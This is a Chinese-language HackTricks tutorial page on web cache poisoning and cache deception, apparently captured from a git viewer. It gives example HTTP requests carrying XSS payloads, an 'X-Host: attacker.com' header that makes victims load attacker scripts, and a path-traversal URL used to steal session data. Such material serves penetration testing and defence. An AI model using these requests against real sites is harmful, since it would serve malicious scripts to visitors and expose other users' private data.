231 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 缓存中毒和缓存欺骗
{{#include ../../banners/hacktricks-training.md}}
## 区别
> **Web缓存中毒和Web缓存欺骗之间有什么区别**
>
> - 在**Web缓存中毒**中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容会从缓存中提供给其他应用程序用户。
> - 在**Web缓存欺骗**中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
## 缓存中毒
缓存中毒旨在操纵客户端缓存,强迫客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
执行缓存中毒攻击涉及几个步骤:
1. **识别未键入的输入**:这些是参数,尽管不是请求被缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
2. **利用未键入的输入**:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
### 发现检查HTTP头
通常,当响应被**存储在缓存中**时,会有一个**指示的头**,您可以在此帖子中检查您应该关注哪些头:[**HTTP缓存头**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### 发现:缓存错误代码
如果您认为响应正在被存储在缓存中,您可以尝试**发送带有错误头的请求**,这应该会以**状态代码400**响应。然后尝试正常访问请求,如果**响应是400状态代码**您就知道它是脆弱的您甚至可以执行DoS
您可以在以下位置找到更多选项:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
但是,请注意**有时这些状态代码不会被缓存**,因此此测试可能不可靠。
### 发现:识别和评估未键入的输入
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头**。例如,一个页面可能使用头`X-Forwarded-For`来指示客户端从那里加载脚本:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 引发后端服务器的有害响应
在识别出参数/头部后,检查它是如何被**清洗**的,以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗(执行 XSS 或加载你控制的 JS 代码?执行 DoS...
### 获取响应缓存
一旦你**识别**出可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部 **`X-Cache`** 可能非常有用,因为当请求未被缓存时,它的值可能是 **`miss`**,而当被缓存时,它的值是 **`hit`**。\
头部 **`Cache-Control`** 也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
另一个有趣的头部是 **`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的 `User-Agent`,他可以为使用该特定 `User-Agent` 的用户毒化缓存。
与缓存相关的另一个头部是 **`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器**测试缓存中毒,以检查其是否有效。
## 利用示例
### 最简单的示例
`X-Forwarded-For` 这样的头部在响应中未经过清洗地被反映。\
你可以发送一个基本的 XSS 负载并毒化缓存,这样每个访问该页面的人都会受到 XSS 攻击:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_注意这将使对 `/en?region=uk` 的请求中毒,而不是 `/en`_
### 缓存中毒以进行 DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### 使用网络缓存中毒来利用 cookie 处理漏洞
Cookies 也可能在页面的响应中被反射。如果你能利用它造成 XSS例如你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意,如果易受攻击的 cookie 被用户广泛使用,常规请求将清除缓存。
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
检查:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个像 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容将被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时完成。
这在以下内容中也有更好的解释:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### 使用多个头部利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
有时您需要 **利用多个无键输入** 才能滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发****HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 利用有限的 `Vary` 头
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存:
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get
发送一个GET请求URL和请求体中都包含请求。如果web服务器使用请求体中的内容但缓存服务器缓存的是URL中的内容那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### 参数隐藏
例如,在 ruby 服务器中,可以使用字符 **`;`** 来分隔 **参数**,而不是 **`&`**。这可以用来将无键参数值放入有键参数中并进行滥用。
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### 通过滥用 HTTP 请求走私来利用 HTTP 缓存中毒
在这里了解如何通过滥用 [HTTP 请求走私进行缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
### Web 缓存中毒的自动化测试
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 可用于自动测试 Web 缓存中毒。它支持多种不同的技术,并且高度可定制。
示例用法: `wcvs -u example.com`
## 漏洞示例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS 在 URL 中转发了片段而没有去掉它,并且仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端为 `/#/../?r=javascript:alert(1)`,而缓存键中没有负载,仅有主机、路径和查询。
### GitHub CP-DoS
在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie因此只能攻击未授权用户。
### GitLab + GCP CP-DoS
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存返回空响应体。它还可以支持 `PURGE` 方法。
### Rack 中间件 (Ruby on Rails)
在 Ruby on Rails 应用程序中,通常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,从而带来安全风险。
### 403 和存储桶
Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3 或 Azure 存储 Blob 会导致 403 响应被缓存。尽管 Cloudflare 已停止缓存 403 响应,但这种行为可能仍然存在于其他代理服务中。
### 注入键参数
缓存通常在缓存键中包含特定的 GET 参数。例如Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而,如果发送了 URL 编码版本的参数(例如 `siz%65`)并且值错误,缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略它,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
### 用户代理规则
一些开发人员阻止与高流量工具(如 FFUF 或 Nuclei匹配的用户代理的请求以管理服务器负载。讽刺的是这种方法可能引入漏洞例如缓存中毒和 DoS。
### 非法头字段
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头应理想地触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai它转发包含无效字符的头并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送包含非法字符(如 `\`)的头会导致可缓存的 400 错误请求。
### 查找新头
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## 缓存欺骗
缓存欺骗的目标是使客户端 **加载将被缓存保存的敏感信息的资源**
首先要注意的是,**扩展名**如 `.css``.js``.png` 等通常被 **配置****保存****缓存** 中。因此,如果您访问 `www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到 `.js` **扩展名**。但是,如果 **应用程序** 正在 **重放** 存储在 _www.example.com/profile.php_ 中的 **敏感** 用户内容,您可以 **窃取** 其他用户的这些内容。
其他测试内容:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _使用不太常见的扩展名如_ `.avif`
另一个非常清晰的例子可以在这篇文章中找到:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ (**带有用户的敏感信息**) 的内容,并且缓存服务器将保存结果。\
然后,**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**
请注意,**缓存代理** 应该 **配置****缓存** 文件 **基于** 文件的 **扩展名** (_.css_) 而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。
在这里了解如何执行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
## 自动化工具
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang 扫描器,用于在 URL 列表中查找 Web 缓存中毒漏洞并测试多种注入技术。
## 参考文献
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
{{#include ../../banners/hacktricks-training.md}}